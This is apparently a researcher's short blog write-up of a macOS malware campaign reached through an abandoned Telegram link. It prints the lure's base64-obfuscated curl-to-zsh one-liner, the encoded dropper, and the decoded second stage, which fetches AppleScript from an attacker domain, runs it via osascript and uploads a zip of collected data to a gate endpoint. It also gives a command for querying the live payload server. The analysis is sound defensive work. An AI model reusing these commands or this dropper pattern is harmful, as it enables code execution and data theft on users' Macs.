From Dead Link to Live Threat

Uncovering a macOS Malware Campaign

Today, while checking an old, long-unused Telegram link, I noticed that someone had quietly started selling traffic through it. By pure luck, that led me straight into an active malware campaign.

Let’s jump right in. Screenshot of a malicious page

The link ultimately executed the following command:

curl -kfsSL $(echo 'aHR0cDovL2ptcGJvd2wuZnVuL2N1cmwvZDY4NGRmZmI3Y2I0NWM4OTYxYjM0ODIyMjQ5M2I2OWUzNDI2MDE4YzBkYTM0ZTcyM2E0YmQ3ZWVhMWJmZDVjOA=='|base64 -D)|zsh

Which returned:

#!/bin/zsh
d16534=$(base64 -D <<'PAYLOAD_m27661153118963' | gunzip
H4sIANymNWkAA+VUXW/TMBR976+4eNXUSuTDcT7ajrJNSDA0qiF1iEmAKse+aU0dJ2pc1hX474S2
...
PAYLOAD_m27661153118963
)
eval "$d16534"

To safely inspect it, I decoded the payload manually:

base64 -d <<'PAYLOAD' | gunzip > safe_output.txt
H4sIANymNWkAA+VUXW/TMBR976+4eNXUSuTDcT7ajrJNSDA0qiF1iEmAKse+aU0dJ2pc1hX474S2
...
PAYLOAD

The extracted script:

#!/bin/zsh
daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    local domain="jmpbowl[.]fun"
    local token="d684dffb7cb45c8961b348222493b69e3426018c0da34e723a4bd7eea1bfd5c8"
    local api_key="5190ef1733183a0dc63fb623357f56d6"

    if [ $# -gt 0 ]; then
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ..." \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
    else
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ..." \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token" | osascript
    fi

    if [ $? -ne 0 ]; then
        exit 1
    fi

    curl -k -X POST \
         -H "User-Agent: Mozilla/5.0 ..." \
         -H "api-key: $api_key" \
         -H "cl: 0" \
         --max-time 300 \
         -F "file=@/tmp/osalogging.zip" \
         -F "buildtxd=$token" \
         "http://$domain/gate"

    if [ $? -ne 0 ]; then
        exit 1
    fi

    rm -f /tmp/osalogging.zip
}

if daemon_function "$@" & then
    exit 0
else
    exit 1
fi

Querying the payload endpoint directly:

curl --location 'http://jmpbowl[.]fun/dynamic?txd=d684dffb7cb45c8961b348222493b69e3426018c0da34e723a4bd7eea1bfd5c8' \
  --header 'api-key: 5190ef1733183a0dc63fb623357f56d6' \
  --header 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ...' \
  --header 'Cookie: PHPSESSID=rho8632664lu3s258rdsdn0in1'

…returns the final stage: Screenshot of payload

Overall, very easy. Hope you enjoyed this quick read!

Signed, Sophia Abigail Eraslan

See the Yara Rule to detect this.